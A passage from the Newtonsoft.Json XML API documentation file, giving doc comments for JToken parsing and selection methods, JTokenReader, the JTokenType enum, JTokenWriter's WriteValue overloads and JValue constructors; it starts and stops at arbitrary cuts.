name=\"M:Newtonsoft.Json.Linq.JToken.ReadFrom(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">An <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Parse(System.String)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> populated from the string that contains JSON.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Parse(System.String,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Load a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a string that contains JSON.\n            </summary>\n            <param name=\"json\">A <see cref=\"T:System.String\"/> that contains JSON.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> populated from the string that contains JSON.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Load(Newtonsoft.Json.JsonReader,Newtonsoft.Json.Linq.JsonLoadSettings)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Load(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> from a <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> positioned at the token to read into this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</param>\n            <returns>\n            A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the token and its descendant tokens\n            that were read from the reader. The runtime type of the token is determined\n            by the token type of the first token encountered in the reader.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectToken(System.String)\">\n            <summary>\n            Selects a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using a JSONPath expression. Selects the token that matches the object path.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, or <c>null</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectToken(System.String,System.Boolean)\">\n            <summary>\n            Selects a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using a JSONPath expression. Selects the token that matches the object path.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <param name=\"errorWhenNoMatch\">A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectToken(System.String,Newtonsoft.Json.Linq.JsonSelectSettings)\">\n            <summary>\n            Selects a <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> using a JSONPath expression. Selects the token that matches the object path.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonSelectSettings\"/> used to select tokens.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectTokens(System.String)\">\n            <summary>\n            Selects a collection of elements using a JSONPath expression.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the selected elements.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectTokens(System.String,System.Boolean)\">\n            <summary>\n            Selects a collection of elements using a JSONPath expression.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <param name=\"errorWhenNoMatch\">A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the selected elements.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.SelectTokens(System.String,Newtonsoft.Json.Linq.JsonSelectSettings)\">\n            <summary>\n            Selects a collection of elements using a JSONPath expression.\n            </summary>\n            <param name=\"path\">\n            A <see cref=\"T:System.String\"/> that contains a JSONPath expression.\n            </param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonSelectSettings\"/> used to select tokens.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the selected elements.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.GetMetaObject(System.Linq.Expressions.Expression)\">\n            <summary>\n            Returns the <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> responsible for binding operations performed on this object.\n            </summary>\n            <param name=\"parameter\">The expression tree representation of the runtime value.</param>\n            <returns>\n            The <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> to bind this object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.System#Dynamic#IDynamicMetaObjectProvider#GetMetaObject(System.Linq.Expressions.Expression)\">\n            <summary>\n            Returns the <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> responsible for binding operations performed on this object.\n            </summary>\n            <param name=\"parameter\">The expression tree representation of the runtime value.</param>\n            <returns>\n            The <see cref=\"T:System.Dynamic.DynamicMetaObject\"/> to bind this object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.DeepClone\">\n            <summary>\n            Creates a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>. All child tokens are recursively cloned.\n            </summary>\n            <returns>A new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AddAnnotation(System.Object)\">\n            <summary>\n            Adds an object to the annotation list of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"annotation\">The annotation to add.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Annotation``1\">\n            <summary>\n            Get the first annotation object of the specified type from this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of the annotation to retrieve.</typeparam>\n            <returns>The first annotation object that matches the specified type, or <c>null</c> if no annotation is of the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Annotation(System.Type)\">\n            <summary>\n            Gets the first annotation object of the specified type from this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"type\">The <see cref=\"P:Newtonsoft.Json.Linq.JToken.Type\"/> of the annotation to retrieve.</param>\n            <returns>The first annotation object that matches the specified type, or <c>null</c> if no annotation is of the specified type.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Annotations``1\">\n            <summary>\n            Gets a collection of annotations of the specified type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of the annotations to retrieve.</typeparam>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> that contains the annotations for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Annotations(System.Type)\">\n            <summary>\n            Gets a collection of annotations of the specified type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"type\">The <see cref=\"P:Newtonsoft.Json.Linq.JToken.Type\"/> of the annotations to retrieve.</param>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:System.Object\"/> that contains the annotations that match the specified type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.RemoveAnnotations``1\">\n            <summary>\n            Removes the annotations of the specified type from this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of annotations to remove.</typeparam>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.RemoveAnnotations(System.Type)\">\n            <summary>\n            Removes the annotations of the specified type from this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <param name=\"type\">The <see cref=\"P:Newtonsoft.Json.Linq.JToken.Type\"/> of annotations to remove.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JTokenEqualityComparer\">\n            <summary>\n            Compares tokens to determine whether they are equal.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenEqualityComparer.Equals(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Determines whether the specified objects are equal.\n            </summary>\n            <param name=\"x\">The first object of type <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to compare.</param>\n            <param name=\"y\">The second object of type <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to compare.</param>\n            <returns>\n            <c>true</c> if the specified objects are equal; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenEqualityComparer.GetHashCode(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Returns a hash code for the specified object.\n            </summary>\n            <param name=\"obj\">The <see cref=\"T:System.Object\"/> for which a hash code is to be returned.</param>\n            <returns>A hash code for the specified object.</returns>\n            <exception cref=\"T:System.ArgumentNullException\">The type of <paramref name=\"obj\"/> is a reference type and <paramref name=\"obj\"/> is <c>null</c>.</exception>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JTokenReader\">\n            <summary>\n            Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JTokenReader.CurrentToken\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> at the reader's current position.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenReader.#ctor(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JTokenReader\"/> class.\n            </summary>\n            <param name=\"token\">The token to read from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenReader.#ctor(Newtonsoft.Json.Linq.JToken,System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JTokenReader\"/> class.\n            </summary>\n            <param name=\"token\">The token to read from.</param>\n            <param name=\"initialPath\">The initial path of the token. It is prepended to the returned <see cref=\"P:Newtonsoft.Json.Linq.JTokenReader.Path\"/>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenReader.Read\">\n            <summary>\n            Reads the next JSON token from the underlying <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <returns>\n            <c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JTokenReader.Path\">\n            <summary>\n            Gets the path of the current JSON token. \n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JTokenType\">\n            <summary>\n            Specifies the type of token.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.None\">\n            <summary>\n            No token type has been set.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Object\">\n            <summary>\n            A JSON object.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Array\">\n            <summary>\n            A JSON array.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Constructor\">\n            <summary>\n            A JSON constructor.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Property\">\n            <summary>\n            A JSON object property.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Comment\">\n            <summary>\n            A comment.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Integer\">\n            <summary>\n            An integer value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Float\">\n            <summary>\n            A float value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.String\">\n            <summary>\n            A string value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Boolean\">\n            <summary>\n            A boolean value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Null\">\n            <summary>\n            A null value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Undefined\">\n            <summary>\n            An undefined value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Date\">\n            <summary>\n            A date value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Raw\">\n            <summary>\n            A raw JSON value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Bytes\">\n            <summary>\n            A collection of bytes value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Guid\">\n            <summary>\n            A Guid value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.Uri\">\n            <summary>\n            A Uri value.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Linq.JTokenType.TimeSpan\">\n            <summary>\n            A TimeSpan value.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JTokenWriter\">\n            <summary>\n            Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JTokenWriter.CurrentToken\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> at the writer's current position.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JTokenWriter.Token\">\n            <summary>\n            Gets the token being written.\n            </summary>\n            <value>The token being written.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.#ctor(Newtonsoft.Json.Linq.JContainer)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JTokenWriter\"/> class writing to the given <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/>.\n            </summary>\n            <param name=\"container\">The container being written to.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JTokenWriter\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.Flush\">\n            <summary>\n            Flushes whatever is in the buffer to the underlying <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.Close\">\n            <summary>\n            Closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\"/> is set to <c>true</c>, the JSON is auto-completed.\n            </summary>\n            <remarks>\n            Setting <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> to <c>true</c> has no additional effect, since the underlying <see cref=\"T:Newtonsoft.Json.Linq.JContainer\"/> is a type that cannot be closed.\n            </remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteStartObject\">\n            <summary>\n            Writes the beginning of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteStartArray\">\n            <summary>\n            Writes the beginning of a JSON array.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteStartConstructor(System.String)\">\n            <summary>\n            Writes the start of a constructor with the given name.\n            </summary>\n            <param name=\"name\">The name of the constructor.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteEnd(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Writes the end.\n            </summary>\n            <param name=\"token\">The token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WritePropertyName(System.String)\">\n            <summary>\n            Writes the property name of a name/value pair on a JSON object.\n            </summary>\n            <param name=\"name\">The name of the property.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Object)\">\n            <summary>\n            Writes a <see cref=\"T:System.Object\"/> value.\n            An error will be raised if the value cannot be written as a single JSON token.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteNull\">\n            <summary>\n            Writes a null value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteUndefined\">\n            <summary>\n            Writes an undefined value.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteRaw(System.String)\">\n            <summary>\n            Writes raw JSON.\n            </summary>\n            <param name=\"json\">The raw JSON to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteComment(System.String)\">\n            <summary>\n            Writes a comment <c>/*...*/</c> containing the specified text.\n            </summary>\n            <param name=\"text\">Text to place inside the comment.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.String)\">\n            <summary>\n            Writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Int32)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.UInt32)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Int64)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.UInt64)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Single)\">\n            <summary>\n            Writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Double)\">\n            <summary>\n            Writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Boolean)\">\n            <summary>\n            Writes a <see cref=\"T:System.Boolean\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Boolean\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Int16)\">\n            <summary>\n            Writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.UInt16)\">\n            <summary>\n            Writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Char)\">\n            <summary>\n            Writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Byte)\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.SByte)\">\n            <summary>\n            Writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Decimal)\">\n            <summary>\n            Writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.DateTime)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.DateTimeOffset)\">\n            <summary>\n            Writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Byte[])\">\n            <summary>\n            Writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.TimeSpan)\">\n            <summary>\n            Writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Guid)\">\n            <summary>\n            Writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JTokenWriter.WriteValue(System.Uri)\">\n            <summary>\n            Writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JValue\">\n            <summary>\n            Represents a value in JSON (string, integer, date, etc).\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(Newtonsoft.Json.Linq.JValue)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Int64)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Decimal)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Char)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.UInt64)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Double)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Single)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.DateTime)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.DateTimeOffset)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Guid)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Uri)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.TimeSpan)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> class with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JValue.HasValues\">\n            <summary>\n            Gets a value indicating whether this token has child tokens.\n            </summary>\n            <value>\n            \t<c>true</c> if this token has child values; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JValue.CreateComment(System.String)\">\n            <summary>\n            Creates a <see cref=\"T:Newtonsoft.Json.Linq.JValue\"/> comment with the given value.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>A <see 